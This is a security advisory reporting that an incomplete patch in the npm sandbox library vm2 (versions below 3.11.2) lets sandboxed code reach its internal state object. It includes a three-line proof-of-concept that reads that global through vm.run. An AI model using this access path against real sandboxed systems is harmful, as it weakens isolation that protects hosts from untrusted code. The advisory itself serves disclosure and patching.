GHSA-2cm2-m3w5-gp2f vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`
MediumCVSS 5.3
- Published
- Updated
- Exploit status
- No public exploit known
Description
Summary
https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.
Details
It is still possible to get access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
Upgrade path
1 package: 1 fixed.
| Package | Affected | Fixed in | Status |
|---|---|---|---|
| npm vm2(npm) | < 3.11.2 | 3.11.2 | Fixed |
Affected products
| Product | Affected versions | Fixed in |
|---|---|---|
| npm vm2(npm) | < 3.11.2 | 3.11.2 |
References
- github.com vendor-advisory
- github.com
- github.com patch
- github.com